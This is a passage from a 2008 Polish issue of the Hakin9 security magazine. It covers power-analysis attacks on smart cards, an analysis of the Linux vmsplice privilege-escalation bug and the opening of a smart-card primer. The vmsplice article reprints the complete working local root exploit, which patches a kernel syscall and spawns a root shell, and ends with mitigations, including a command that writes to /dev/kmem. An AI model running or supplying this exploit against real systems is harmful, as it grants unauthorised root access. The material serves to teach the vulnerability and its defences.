HAKIN9 9/2008
ATAK NA SMART CARDS
37
HAKIN9
9/2008
Uproszczony schemat modyfikacji,
którą należy wykonać, można zobaczyć na
Rysunku 2. Zastosowany rezystor powinien
mieć wartość od kilku do kilkudziesięciu
omów. Różne źródła podają wartości w
zakresie od 5 do 50 omów.
Pomiar dokonywany za pomocą
oscyloskopu na biegunach rezystora
pozwala rejestrować wahania napięcia
powodowane przez wykonywanie na
karcie różnych operacji. Pojedynczy zapis
operacji w postaci wykresu nazywany jest
ścieżką.
Simple Power Analysis polega na
wizualnej analizie zebranych w ten sposób
próbek. Odpowiednio zmodyfikowany
czytnik kart w połączeniu z komputerem
oraz oscyloskopem tworzy zestaw
przygotowany do akwizycji danych. Przykład
takiego rozwiązania z wykorzystaniem
czytnika podłączanego poprzez USB
oraz oscyloskopu (również podłączonego
poprzez USB) pokazuje schemat blokowy
na Rysunku 3.
Zapis widoczny na Rysunku 4. pokazuje,
że różne operacje wykonywane przez układ
elektroniczny karty powodują zmieniający
się w czasie pobór prądu przez kartę.
Wynika to z faktu, iż poszczególne
fragmenty programu obsługi karty (a
więc różne instrukcje) powodują zmienną
aktywność mikroprocesora karty, czyli
różne obciążenie prądowe. Dzięki takim
właśnie różnicom Simple Power Analysis
jest możliwa do przeprowadzenia.
W przypadku karty SIM i próby
odgadnięcia numeru PIN w celu uzyskania
dostępu do zaawansowanych funkcji karty,
wykresy będą się różniły w zależności
od cyfr, które będą wprowadzane.
Podczas wprowadzania ciągu 0000
wykres pokazuje, że czas pracy procesu
sprawdzającego to ponad 1000
mikrosekund. Podczas wprowadzania
ciągu 4000 czas się zwiększa – co może
sugerować zweryfikowanie pierwszej cyfry
4 jako poprawnej (bo tylko ona się zmieniła
w stosunku do poprzednich czterech zer).
Kolejny wykres po wprowadzeniu ciągu
4500 pokazuje dalsze wydłużenie czasu
pracy procesu sprawdzającego do prawie
1200 mikrosekund, co sugeruje, że cyfra 5
również jest poprawna.
Wpisanie ciągu 4560 powoduje dalsze
wydłużanie się wykresu procesu, a zatem
kolejna cyfra 6 jest właściwa. Z uwagi na
to, że prawdopodobnie po trzykrotnym
wprowadzeniu błędnego PINu karta
zostanie zablokowana, metoda może być
skuteczna przy długim okresie zapisywania
wprowadzanego właściwego PINu przez
użytkownika i analizowaniu zapisów ścieżek
oraz porównywania ich z naszymi własnymi
próbami wprowadzania PINu.
Do przeprowadzenia ataku SPA nie
jest potrzebny specjalistyczny oscyloskop
– w zupełności wystarczy prosty, oparty na
układzie ADC0820, podłączany do portu
równoległego komputera PC. W przypadku
bardziej zaawansowanych oscyloskopów
będziemy mieli bardziej dokładne zapisy,
wykonane z większą częstotliwością.
Oprogramowanie do akwizycji, czyli
zbierania danych, można znaleźć bez
problemu w Internecie. W zupełności
wystarcza ono do pierwszych testów
bezpieczeństwa kart inteligentnych.
Symulowanie ataków przy
użyciu nieskomplikowanych układów
elektronicznych i prostych narzędzi
programowych pozwala wyciągnąć wnioski
na temat łatwości ich dokonania przez
potencjalnego intruza.
Firma Riscure oferuje całą gamę
programów przydatnych podczas
badania poziomu bezpieczeństwa kart
inteligentnych. Jednym z ciekawych
programów do analizy podczas ataków
SPA oraz DPA jest Inspector. Jego
możliwości pozwalają na jednoczesne
wyświetlanie kilku ścieżek, co ułatwia
porównywanie przebiegów. Niestety,
Rysunek 5.
Ścieżki wahań napięcia podczas wprowadzania kodu PIN
Rysunek 6.
Inspector w akcji
Rysunek 7.
Wyłuskane złącze wraz z
układem elektronicznym
36
ATAK
HAKIN9 9/2008
ATAK NA SMART CARDS
37
HAKIN9
9/2008
program nie jest darmowy, a – co
gorsza – nie jest dostępna jego wersja
demonstracyjna.
Bezpośredni atak na kartę – jej układ
elektroniczny, strukturę danych – choć jest
możliwy do przeprowadzenia, to jednak
sprzęt potrzebny do jego wykonania
dyskwalifikuje domorosłych crackerów.
Samo obnażenie układu elektronicznego
nastręcza wiele trudności. Wyjęcie układu
podczepionego pod złącze ISO nie jest
specjalnie trudne i spokojnie da się to
zrobić bez specjalnych narzędzi.
Dostanie się do wnętrza karty poprzez
podłączenie się do szyny danych z
pominięciem wszelkich zabezpieczeń
szyfrujących nie jest już jednak takie
proste. Potrzeba do tego celu specjalnego
laboratorium z odpowiednim sprzętem
– przy wykorzystaniu mikroskopu
można wykonać takie podłączenie, co
udowodnił niedawno Chris Tarnovsky z
Flylogic Engineering. Na szczęście dla
bezpieczeństwa kart inteligentnych niewiele
jest osób mających dostęp do takiego
sprzętu i mogących dokonać tego rodzaju
ataku na kartę.
Warto w tym momencie dodać, że
aby podobne ataki – naruszające fizyczną
strukturę karty – były skuteczne, musiałyby
odbywać się w bardzo krótkim czasie,
gdyż właściciel karty zauważywszy jej brak
zgłosiłby jej zaginięcie. W tym momencie
odpowiednie służby mogłyby zablokować
możliwość korzystania z tej właśnie karty,
co byłoby kompletnym fiaskiem dla
crackera.
Firmy produkujące karty chipowe
stosują różne zabezpieczenia w swoich
produktach, aby minimalizować podatność
ich kart na atak.
Miniaturyzacja struktury układu
elektronicznego powoduje, że bez
odpowiedniego sprzętu laboratoryjnego
dostęp do elektroniki jest utrudniony.
Niektóre firmy stosują specjalne
oprogramowanie, które podczas wykrycia
działań mogących sugerować atak
powodują blokadę dostępu do danych na
karcie, z kasowaniem zawartości pamięci
włącznie (STMicroelectronics). Wydaje się ,
że jednym z bardziej skutecznych ataków (i
stosunkowo prostych do zorganizowania)
są ataki man-in-the-middle, w których
atakujący lokuje się na drodze komunikacji
pomiędzy kartą a aplikacją w komputerze.
Dla każdej ze stron – zarówno dla karty,
jak i dla aplikacji – atakujący widoczny jest
jako uwierzytelniony element komunikacji,
co pozwala na przechwytywanie transmisji
i modyfikowanie wysyłanych komend.
Najbardziej narażone na tego rodzaju
ataki są obecnie czytniki wyposażone w
interfejsy szeregowe, równoległe czy USB.
Podsumowanie
Zagadnienie bezpieczeństwa kart
inteligentnych nie jest łatwe do
rozpatrywania, ponieważ bardzo często
same karty są składnikiem systemu
mającego zapewniać bezpieczeństwo.
Użytkownicy bardzo często traktują
zabezpieczenie poprzez kartę jako bardzo
bezpieczne rozwiązanie, zapewniające
stuprocentowe bezpieczeństwo
– nie biorąc pod uwagę możliwości
ewentualnych ataków na dane znajdujące
się na karcie. W przypadku kart GSM
ochrona to dwa kody PIN, a jednak
bez większego problemu możliwe jest
klonowanie takich kart bez posiadania
specjalistycznego przygotowania. Niewiele
osób zdaje sobie sprawę z faktu, iż nawet
najbardziej nowoczesna technologicznie
karta, z bardzo szybkim procesorem,
zaawansowanymi metodami szyfrowania
danych może stać się celem ataku – i
całkiem możliwe, że ataku udanego. Rynek
kart inteligentnych rozwija się bardzo
dynamicznie – coraz więcej producentów
stosuje produkty oparte właśnie o tę
technologię, często w połączeniu z innymi
rozwiązaniami zabezpieczającymi. Jednak
nawet do tego typu zabezpieczeń należy
podchodzić z odpowiednim dystansem.
Grzegorz Błoński
Grzegorz Błoński, z wykształcenia jest informatykiem,
certyfikowanym specjalistą IBM. Pracuje w dużej firmie
o zasięgu światowym. Zajmuje się administracją i
bezpieczeństwem sieciowym. Jest członkiem organizacji
International Information Systems Forensics Association
(IISFA), ISACA, ISSA oraz Internet Society.
Kontakt z autorem: mancymonek@mancymonek.pl
Rysunek 8.
Złącze po odwróceniu kryje pod sobą układ elektroniczny z widocznymi
połączeniami układu do styków karty
W Sieci
• http://www.weethet.nl/english/smartcards_types.php,
• http://www.devshed.com/c/a/Practices/Smart-Cards-An-Introduction/8,
• http://hackedgadgets.com/2008/06/03/smart-card-hacking,
• http://www.axalto.com,
• http://www.smartcard.ust.hk/security/content.htm,
• http://www.cl.cam.ac.uk/~rja14/tamper.html.
38
HAKIN9
ATAK
9/2008
B
łędy w kernelach pojawiają się od dawna. W
zależności od aktywności osób szukających
błędów w jądrach, częstotliwość
odnajdywania nowych dziur jest większa lub
mniejsza. Grupą, która w ostatnich latach odkryła
najwięcej krytycznych błędów w kernelu systemu
Linux, jest iSEC Security Research. Najbardziej
bolesne dla administratorów są dziury, za pomocą
których można uzyskać uprawienia roota, a
większość tych błędów właśnie to umożliwia.
Najczęściej błędy odkrywane są w funkcjach,
wywołaniach systemowych, które nieodpowiednio
pilnują granic pamięci, jaką udostępniają
użytkownikowi. Zdarzają się także błędy związane
z nieprawidłową obsługą sygnałów (http://isec.pl/
vulnerabilities/isec-0024-death-signal.txt).
Ostatni błąd w kernelu systemu Linux został
odkryty przez Wojtka Purczyńskiego (iSEC/
COSEINC) w lutym 2008 roku (stan na 20 kwietnia
2008). Problem dotyczył wywołania systemowego
vmsplice(), które jest bohaterem tego artykułu.
Konsekwencje błędów w jądrze
Część błędów w jądrze systemu operacyjnego
jest bardzo podobnych do klasycznych błędów
typu buffer overflow, z tą różnicą, że odbywa się
to w innej warstwie systemu operacyjnego. Także
obraz pamięci kernela jest inny niż procesu.
Praca jądra nie kończy się, a jeżeli do tego dojdzie
– system zostanie zamrożony, przestanie działać.
Stąd też prosta refleksja, że nie ma możliwości
nadpisywania pamięci jądra bez konsekwencji,
PRZEMYSŁAW SKOWRON
Z ARTYKUŁU
DOWIESZ SIĘ
na czym polegał błąd w sys_
vmsplice() w kernelu 2.6.24-25,
jak działa exploit,
jak skutecznie utrudnić lub
uniemożliwić atak na kernel.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy programowania
w języku C z wykorzystaniem
potoków,
znać podstawy budowy systemu
Linux.
jeżeli zostanie to zrobione źle. Kod jądra w pamięci
nie jest opróżniany czy wymieniany i należy o tym
pamiętać. Co prawda istnieją metody modyfikacji
kodu kernela w locie, lecz nie jest to tematem tego
artykułu.
Istotą wykorzystywania błędów w kernelu
jest podsunięcie takiego kodu, który wykona
oczekiwaną przez nas operację, np. nada nam
uprawnienia administratora, zamknie system,
uszkodzi go. Jeżeli ilość danych, jakie możemy
nadpisać, jest zbyt mała lub błąd jedynie
powoduje wykonanie operacji, powodując
naruszenie pamięci jądra, to można próbować
wykonać atak typu DoS.
W przypadku błędów w jądrze nie musimy
przejmować się tym, z jakimi uprawnieniami
zostanie wykorzystany kod, który udało się nam
wstrzyknąć w przestrzeń jego pamięci. Kernel
pracuje w trybie
ring0
, co oznacza, że wszystkie
operacje, jakie wykonuje są przeprowadzane z
uprawnieniami administratora systemu. Nie ma to
jednak związku z użytkownikiem root. W systemie
Linux wyróżnione są dwa poziomy uprawnień, z
jakimi działa system. Tryb
ring0
(administratora), w
Stopień trudności
Błędy w
jądrach
systemów
Błędy w programach to problem danej aplikacji. Uchybienia
w kernelu mają zasięg globalny, ograniczony oczywiście
możliwościami wykorzystania go. Jeżeli jądro naszego systemu
zawiera błąd, możemy spodziewać się sporych problemów, a
większość zabezpieczeń może okazać się bezużyteczna.
W Sieci
• http://en.wikipedia.org/wiki/Ring_(computer_
security),
• http://milw0rm.com/exploits/5093,
• http://isec.pl/vulnerabilities/isec-0024-death-
signal.txt
39
HAKIN9
BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH
9/2008
którym pracuje kernel, i tryb
ring3
, w którym
pracuje cała reszta systemu.
vmsplice()
Mając wyobrażenie o konsekwencjach
błędów w jądrze, możemy przejść do
sedna sprawy.
Wywołanie systemowe
vmsplice()
jest stosunkowo nowe i występuje tylko w
kernelach z linii 2.6, konkretnie od 2.6.17.
Autorem wywołania jest Jens Axboe, a jego
zadaniem jest optymalizacja operacji I/O
dla niewielkich buforów w ramach jądra, bez
wychodzenia do przestrzeni użytkownika
(ang. userland). Deskryptor, na jakim
pracuje
vmsplice()
, powinien wskazywać
na potok (ang. pipe). Samą definicję funkcji
vmsplice()
można zobaczyć na Listingu
1. a więcej o niej przeczytać w podręczniku
systemowym (
man 2 vmsplice
).
Istotna dla definicji funkcji jest struktura
iovec (Listing 2), określająca adres
startowy, z którego są odczytywane lub
zapisywane dane, a także ich wielkość.
Przykład z Listingu 3. pokazuje w
elementarny sposób, jak działa i może być
wykorzystywana funkcja
vmsplice()
.
rez@w ~/expl/vmsplice $ gcc vm-
hakin9.c -o vm-hakin9
rez@w ~/expl/vmsplice $ ./vm-hakin9
1st: Testowe wywolanie vmsplice()
- czytam
2nd: Testowe wywolanie vmsplice()
- pisze
Przykład ten jest pozbawiony obsługi
błędów, co jest bardzo złą praktyką
w kontekście tworzenia bezpiecznych
aplikacji, ale zabieg ten został wykonany
celowo – by nie zaciemniać obrazu
przykładowego użycia funkcji
vmsplice()
.
Analiza exploita
Obsługa błędów dla
vmsplice()
pozostawiała wiele do życzenia. Wojtek
Purczyński odnalazł kilka wrażliwych
miejsc, które można wykorzystać
do wstrzyknięcia własnego kodu
wykonywanego w przestrzeni jądra. Błąd
dotyczący wersji 2.6.17-2.6.24, a także
sposób przeprowadzenia ataku, został
dość szczegółowo opisany w licznych
publikacjach, dlatego też skoncentrujemy
się na innej podatności występującej w
wersji kernela 2.6.23-2.6.24.
Najlepiej będzie zapoznać się z
błędem analizując działanie exploita. Jego
kod źródłowy jest powszechnie dostępny
w archiwach serwisu
milw0rm.com
, a
także pokazany na Listingu 4. Pierwsze
linie to odpowiednie pliki nagłówkowe
programu. Następnie mamy dwie
zdefiniowane stałe,
TARGET _ PATTERN
– wielkość później wykorzystaną do
znalezienia wywołania systemowego
sys_vm86old oraz
TARGET _ SYSCALL
– numer wywołania systemowego
sys _
vm86old
. Dalej zdefiniowany jest numer
wywołania systemowego
vmsplice.
_ vmsplice()
będzie funkcją odwołującą
się do wywołania systemowego
vmsplice
z parametrami, a
gimmeroot()
stanie
się funkcją, która za pomocą użytego
tricku spróbuje uzyskać dla użytkownika
uprawnienia roota. Właściwie w tym
momencie można podejrzewać, że coś tu
jest nie tak. TARGET_SYSCALL wskazuje
na sys_vm86old, który potrzebuje dwóch
argumentów, natomiast tutaj jest ich 6.
TRAMP _ CODE
będzie wskaźnikiem do
kodu znajdującego się wewnątrz tablicy
trampoline[], a
TRAMP _ SIZE
– jak
sama nazwa wskazuje – jest rozmiarem
tej tablicy. Poniżej kod okraszony jest
komentarzem w postaci kodu asemblera.
Jeżeli pod adresem 0x4(%esp) znajduje
się liczba 31337, to wywoływana jest
instrukcja spod adresu 0x8(%esp). Czy
to coś przypomina? Zdecydowanie tak.
Funkcja
die()
służy tylko i wyłącznie
do informowania o błędzie. Kolejno,
funkcja
get _ target()
, przeglądając
plik /proc/kallsyms, szuka adresu, pod
jakim znajduje się wywołanie systemowe
sys _ vm86old
.
Funkcja
get _ current()
jest
implementacją makra current, znaną
z kernela, która zwraca wskaźnik do
struktury task_struct opisującej aktualnie
Listing 1.
Deklaracja vmsplice()
#
define _GNU_SOURCE
#include
<fcntl.h>
#include
<sys/uio.h>
long
vmsplice
(
int
fd
,
const
struct
iovec
*
iov
,
unsigned
long
nr_segs
,
unsigned
int
flags
);
Listing 2.
Struktura iovec
struct
iovec
{
void
*
iov_base
;
/* Starting address */
size_t
iov_len
;
/* Number of bytes */
}
;
Listing 3.
Przykładowe użycie funkcji
vmsplice()
#include
<stdio.h>
#include
<unistd.h>
#include
<string.h>
#include
<fcntl.h>
#include
<sys/uio.h>
int
main
(
void
)
{
int
pipes
[
2
];
char
buf
[]
=
"Testowe wywolanie
vmsplice() -
czytam
\n
"
;
char
buf2
[]
=
"Testowe wywolanie
vmsplice() -
pisze
\n
"
;
char
tmp
[
64
];
struct
iovec
i
;
memset
(
tmp
,
0x0
,
sizeof
(
tmp
));
pipe
(
pipes
);
i
.
iov_base
=
(
void
*)
tmp
;
iov_len
=
sizeof
(
tmp
)-
2
;
write
(
pipes
[
1
]
,
buf
,
strlen
(
buf
));
vmsplice
(
pipes
[
0
]
,
&
i
,
1
,
0
);
printf
(
"1st: %s"
,
tmp
);
memset
(
tmp
,
0x0
,
sizeof
(
tmp
));
i
.
iov_base
=
(
void
*)
buf2
;
i
.
iov_len
=
strlen
(
buf2
);
vmsplice
(
pipes
[
1
]
,
&
i
,
1
,
0
);
read
(
pipes
[
0
]
,
tmp
,
sizeof
(
tmp
)-
1
);
printf
(
"2nd: %s"
,
tmp
);
return
0
;
}
Opis identyfikatorów
• uid_t uid – rzeczywisty identyfikator użytkownika,
• uid_t euid – efektywny identyfikator użytkownika,
• uid_t suid – identyfikator właściciela programu, który jest wykonywany jako dany proces,
• uid_t fsuid – identyfikator użytkownika wykorzystywany przy sprawdzaniu praw związanych z
systemem plików,
• gid_t gid – rzeczywisty identyfikator grupy użytkownika,
• gid_t egid – efektywny identyfikator grupy użytkownika,
• gid_t sgid – ustawiony identyfikator grupy użytkownika (patrz opis do suid),
• unsigned gid_t fsgid – podobnie jak fsuid, tylko, że dotyczy grupy.
ATAK
40
HAKIN9 9/2008
BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH
41
HAKIN9
9/2008
obsługiwany proces w przestrzeni kernela
– w tej sytuacji proces exploita. Kod jest
prawie przeniesiony ze źródeł kernela. Warto
zapamiętać, że implementacja makra jest
różna w kernelach z serii 2.4 i 2.6, a nawet w
tej samej linii rozwojowej mogą występować
różnice związane z wielkością struktury
task_info, która zawiera wskaźnik do
wcześniej wymienionej task_struct. Dlaczego
Listing 4.
Kod exploita na vmsplice()
/*
* diane_lane_fucked_hard.c
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.23 - 2.6.24
*/
#define _GNU_SOURCE
#include
<stdio.h>
#include
<errno.h>
#include
<stdlib.h>
#include
<string.h>
#include
<unistd.h>
#include
<sys/uio.h>
#
define
TARGET_PATTERN
" sys_vm86old"
#define TARGET_SYSCALL 113
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io),
(nr), (fl))
#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code,
1, 2, 3, 4)
#define TRAMP_CODE (void *) trampoline
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )
unsigned
char
trampoline
[]
=
"
\x
8b
\x
5c
\x
24
\x
04"
/* mov 0x4(%esp),%ebx */
"
\x
8b
\x
4c
\x
24
\x
08"
/* mov 0x8(%esp),%ecx */
"
\x
81
\x
fb
\x
69
\x
7a
\x
00
\x
00"
/* cmp $31337,%ebx */
"
\x
75
\x
02"
/* jne +2 */
"
\x
ff
\x
d1"
/* call *%ecx */
"
\x
b8
\x
ea
\x
ff
\x
ff
\x
ff"
/* mov $-EINVAL,%eax */
"
\x
c3"
/* ret */
;
void
die
(
char
*
msg
,
int
err
)
{
printf
(
err
?
"[-] %s: %s
\n
"
:
"[-] %s
\n
"
,
msg
,
strerror
(
err
));
fflush
(
stdout
);
fflush
(
stderr
);
exit
(
1
);
}
long
get_target
()
{
FILE
*
f
;
long
addr
=
0
;
char
line
[
128
];
f
=
fopen
(
"/proc/kallsyms"
,
"r"
);
if
(!
f
)
die
(
"/proc/kallsyms"
,
errno
);
while
(
fgets
(
line
,
sizeof
(
line
)
,
f
))
{
if
(
strstr
(
line
,
TARGET_PATTERN
))
{
addr
=
strtoul
(
line
,
NULL
,
16
);
break
;
}
}
fclose
(
f
);
return
addr
;
}
static
inline
__attribute__
((
always_inline
))
void
*
get_current
()
{
unsigned
long
curr
;
__asm__
__volatile__
(
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
:
"=r"
(
curr
)
:
"i"
(
~
8191
)
);
return
(
void
*)
curr
;
}
void
kernel_code
()
{
int
i
;
uint
*
p
=
get_current
();
for
(
i
=
0
;
i
<
1024
-
13
;
i
++)
{
if
(
p
[
0
]
==
uid
&&
p
[
1
]
==
uid
&&
p
[
2
]
==
uid
&&
p
[
3
]
==
uid
&&
p
[
4
]
==
gid
&&
p
[
5
]
==
gid
&&
p
[
6
]
==
gid
&&
p
[
7
]
==
gid
)
{
p
[
0
]
=
p
[
1
]
=
p
[
2
]
=
p
[
3
]
=
0
;
p
[
4
]
=
p
[
5
]
=
p
[
6
]
=
p
[
7
]
=
0
;
p
=
(
uint
*)
((
char
*)(
p
+
8
)
+
sizeof
(
void
*));
p
[
0
]
=
p
[
1
]
=
p
[
2
]
=
~
0
;
break
;
}
p
++;
}
}
int
main
(
int
argc
,
char
*
argv
[])
{
int
pi
[
2
];
long
addr
;
struct
iovec
iov
;
uid
=
getuid
();
gid
=
getgid
();
setresuid
(
uid
,
uid
,
uid
);
setresgid
(
gid
,
gid
,
gid
);
printf
(
"-----------------------------------
\n
"
);
printf
(
" Linux vmsplice Local Root Exploit
\n
"
);
printf
(
" By qaaz
\n
"
);
printf
(
"-----------------------------------
\n
"
);
if
(!
uid
||
!
gid
)
die
(
"!@#$"
,
0
);
addr
=
get_target
();
printf
(
"[+] addr: 0x%lx
\n
"
,
addr
);
if
(
pipe
(
pi
)
<
0
)
die
(
"pipe"
,
errno
);
iov
.
iov_base
=
(
void
*)
addr
;
iov
.
iov_len
=
TRAMP_SIZE
;
write
(
pi
[
1
]
,
TRAMP_CODE
,
TRAMP_SIZE
);
_vmsplice
(
pi
[
0
]
,
&
iov
,
1
,
0
);
gimmeroot
();
if
(
getuid
()
!=
0
)
die
(
"wtf"
,
0
);
printf
(
"[+] root
\n
"
);
putenv
(
"HISTFILE=/dev/null"
);
execl
(
"/bin/bash"
,
"bash"
,
"-i"
,
NULL
);
die
(
"/bin/bash"
,
errno
);
return
0
;
}
//
milw0rm
.
com
[
2008
-
02
-
09
]
ATAK
40
HAKIN9 9/2008
BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH
41
HAKIN9
9/2008
tak ważne jest odnalezienie odpowiedniego
wskaźnika do struktury opisującej proces
w przestrzeni kernela? Zawiera ona
informacje, z jakimi uprawnieniami proces
jest wykonywany. Jeżeli jeszcze nie naświetla
to problemu i możliwości z nim związanych,
to zaraz wszystko się wyjaśni. Szczegółowy
opis struktur jądra systemu i dotyczących
ich zadań można znaleźć w dokumencie
Linux 2.6 Kernel Exploits, którego autorem
jest Stephane Duverger.
Funkcja
kernel _ code()
jest
odpowiednikiem szelkodu, który zazwyczaj
chcemy wstrzyknąć w pamięć procesu
przy błędach typu buffer oveflow. Zadaniem
tej funkcji jest odnalezienie w przeglądanej
strukturze pól opisujących identyfikatory
użytkownika, z jakimi działa program, a
następnie podmianę ich na identyfikator
administratora (0). Opis poszukiwanych
identyfikatorów znajduje się w ramce.
Wiedząc, jak działają wszystkie
dodatkowe funkcje, można przejść do
analizy funkcji głównej. W pierwszej części
autor exploita pobiera identyfikatory
użytkownika, z którymi proces został
uruchomiony i w przypadku różnic
pomiędzy ruid, euid i suid wyrównuje je do
tej samej wartości względem uid. To samo
wykonuje dla identyfikatorów dotyczących
grupy. Następnie pobierany jest adres, pod
którym znajduje się wywołanie systemowe
vm86old()
i tworzony jest potok. Po tym
fragmencie kodu występuje najważniejsza
część exploita – wykorzystanie podatności
w funkcji
vmsplice()
.
Na początku musimy wypełnić strukturę
iov (
iov _ base
– adres, pod którym
znajduje się bufor i
iov _ len
– jego
wielkość). iov_base to adres wywołania
systemowego
vm86old()
, natomiast
długość wynosi tyle, ile ma kod trampoliny.
Wywołanie write() powoduje zapis do potoku
kodu zdefiniowanego w ramach makra
TRAMP_CODE. Uruchomienie wywołania
systemowego
vmsplice()
powoduje
zniszczenia. Zanim
vmsplice()
odczyta
dane zaadresowane w strukturze iov,
przemapuje dane z potoku – wcześniej
zapisane do niego za pomocą funkcji
write()
– do pamięci kernela. Zazwyczaj
w takiej sytuacji powinien pojawić się
komunikat o błędzie segmentacji pamięci
kernela (Oops!) lub coś gorszego. Nie dzieje
się tak, ponieważ w ten sposób realizowany
jest dostęp do pamięci. Kod funkcji
vmsplice _ to _ user()
, odpowiedzialny
za transfer bufora z potoku pod adres
iov_base, nie weryfikuje, czy można go
wykonać. Tzn., że możemy spróbować
zapisać cokolwiek, co prześlemy do potoku
pod dowolnym adresem ustawionym w
strukturze iov. W ten sposób pod adresem
addr (oznaczającym adres wywołania
systemowego
vm86old()
) został zapisany
kod TRAMP_CODE, nadpisując jego
pierwotną wersję w jądrze. Gotowe?
W tym momencie nie mamy jeszcze
uprawnień administratora. Do tego
potrzebny jest jeszcze jeden krok. Funkcja
gimmeroot()
wywołuje
vm86old()
z
odpowiednio dobranymi argumentami.
Teraz ciałem tego wywołania systemowego
jest kod z
char trampoline[]
(Listing
4). Jeżeli pierwszym argumentem jest
liczba 31337, to należy wykonać funkcję
znajdującą się pod adresem z drugiego
argumentu. Jest nim adres funkcji
kernelcode()
. Po udanym odwołaniu się
do podmienionego wywołania
vm86old()
jesteśmy nowym administratorem
tego systemu. Pozostała część exploita
uruchamia powłokę, aby umożliwić
przejście do pracy interaktywnej.
Obrona
Pójdźmy trochę dalej. Błąd w wywołaniu
sys _ vmsplice()
pozwala na
realizację marzeń napastnika. Wdrożenie
odpowiednich poprawek do kernela
nie zawsze jest bardzo proste, jasne
i oczywiste. Znane są inne metody
prewencji i detekcji próby wykorzystania
takiego błędu w kernelu. Jedną z nich
jest wykorzystanie modułów do kernela,
które wyłączają
sys _ vmsplice()
lub dodatkowo badają parametry jej
wywołania – tak, aby nie było możliwości
zdobycia uprawnień administratora.
Przykład takiego badania znajduje się na
Listingu 5.
Drugim sposobem jest nadpisanie
fragmentu pamięci jądra, w którym
znajduje się
sys _ vmsplice()
. Przykład
takiego nadpisania jest zaprezentowany na
Listingu 6.
W ten sposób można się
zabezpieczyć przed atakiem, ale
tylko w określonych warunkach.
Załadowanie modułu wyłączającego
sys _ vmsplice()
lub nadpisanie
pamięci jądra musi zostać wykonane
przed pierwszym uruchomieniem
exploita. Jeżeli stanie się inaczej, to
zabezpieczenia te nie spełnią naszych
oczekiwań. Gdyby napastnikowi udało
się spowodować, aby fragment exploita
(do wywołania
_ vmsplice()
włącznie)
wywoływany był po restarcie systemu,
przed załadowaniem modułu lub
nadpisaniem pamięci jądra, to dla
uzyskania uprawnień administratora
wystarczyłoby odpowiednio odwołać
się do
vm86old()
z użyciem funkcji
kernelcode()
i
get _ current()
.
Wadami tych zabezpieczeń jest
brak możliwości ich użycia w niektórych
środowiskach (brak możliwości ładowania
modułów, brak możliwości pisania do
pamięci jądra – /dev/kmem).
Podsumowanie
Najlepszą metodą walki z tym zagrożeniem
– i innymi atakami – jest wymiana jądra na
wersję, która nie jest już podatna, a także
wiedza o błędach w nim występujących.
Czego życzę Czytelnikom i Wojtkowi
Purczyńskiemu. Na pewno coś dla nas
jeszcze znajdzie.
Przemysław Skowron
Autor ma 25 lat, jest specjalistą ds. bezpieczeństwa
teleinformatycznego w jednym z największych portali
w Polsce, czynnym działaczem i członkiem organizacji
OWASP.
Kontakt z autorem: przemyslaw.skowron@gmail.com
Listing 5.
Badanie poprawności adresu docelowego dla funkcji vmsplice()
i
f (unlikely(!access_ok(VERIFY_WRITE, base, len)))
{
error
=
-
EFAULT
;
break
;
}
Listing 6.
Nadpisanie fragmentu pamięci kernela instrukcją RET
echo
-
e
'\
xc3
'
|
dd
of
=
/
dev
/
kmem
bs
=
1
count
=
1
seek
=
$
((
0x
`
awk
'/
sys_vmsplice
/
{
$
1
;
}
' /
proc
/
kallsyms
`
))
42
HAKIN9 9/2008
OBRONA
Z
przedmiotem artykułu ma do czynienia
w zasadzie każdy z nas. Z założenia
karty mają stanowić remedium na coraz
większą liczbę haseł, a przede wszystkim
transakcji elektronicznych. Generalnie karty
istnieją wszędzie tam, gdzie zachodzi potrzeba
zabezpieczenia danych przed niepowołanym
dostępem. Podejrzewam, że ile bym nie napisał
na ten temat, to i tak nie będzie on wyczerpany.
Dziedzina zwana smart cards rozwija się
dynamicznie, co skutkuje wieloma nowinkami
technicznymi. W Polsce technologia ta pojawiła
się w latach '90, rozwijając się tak naprawdę
w ostatnich latach poprzedniego stulecia.
Na świecie karty pojawiły się wcześniej – co
nie zmienia faktu, że jest to mimo wszystko
stosunkowo nowa technologia (przynajmniej
tak, jak ją dzisiaj rozumiemy), która nabiera
znaczenia w XXI wieku i okresie, w którym
niebagatelną rolę odgrywa przesyłana
elektronicznie informacja. Pomimo jej młodego
wieku, wokół technologii zdążyło narosnąć już
wiele mitów, spośród których najważniejsze
jest powszechne przekonanie o wręcz
niewiarygodnym bezpieczeństwie kart.
W artykule postaram się zwrócić uwagę
na fakt, że nie jest to aż tak pewne. Niemniej
chciałbym się skupić na tym, czym są karty
w ogóle, jak je możemy podzielić i jakie są
ich zastosowania – czyli opisać, jak chronią
nasze dane i inne dobra. Zapraszam do lektury
artykułu.
PRZEMYSŁAW ŻARNECKI
Z ARTYKUŁU
DOWIESZ SIĘ
czym są tzw. karty inteligentne,
jak są zbudowane karty,
jakie rodzaje zabezpieczeń
stosują ich producenci,
czy te zabezpieczenia są
niezawodne,
gdzie stosuje się karty,
jak technicznie wyglądają
niektóre z zastosowań,
jak ustrzec się przed
nieodpowiedzialnym
korzystaniem z karty.
CO POWINIENEŚ
WIEDZIEĆ
karty elektroniczne są jedną
z najpopularniejszych form
zabezpieczeń ostatnich lat,
czy zdajesz sobie sprawę, czy
nie, to na pewno korzystasz ze
smart cards,
w każdym systemie
bezpieczeństwa najsłabszym
ogniwem jest człowiek,
na nic nie zda Ci się
najbezpieczniejsza nawet karta,
jeżeli ktoś pozna Twój PIN,
zwracaj uwagą na wszelkie
nietypowe okoliczności w
użytkowaniu Twojej karty, może
właśnie tracisz pieniądze,
jeżeli zamierzasz samodzielnie
korzystać z kart, sprawdź poziom
ich zabezpieczeń.
Czym są smart cards?
Ich definicja jest stosunkowo prosta, jednakże
często bywa nawet nadmiernie upraszczana
i przedstawiana tylko w kontekście kart
płatniczych. Angielska nazwa smart cards jest
często używana równocześnie z oficjalnym
określeniem ISO – Integrated Circuit Cards
(ICC). Najprostsza definicja smart card mówi,
że jest to karta z wbudowanym układem
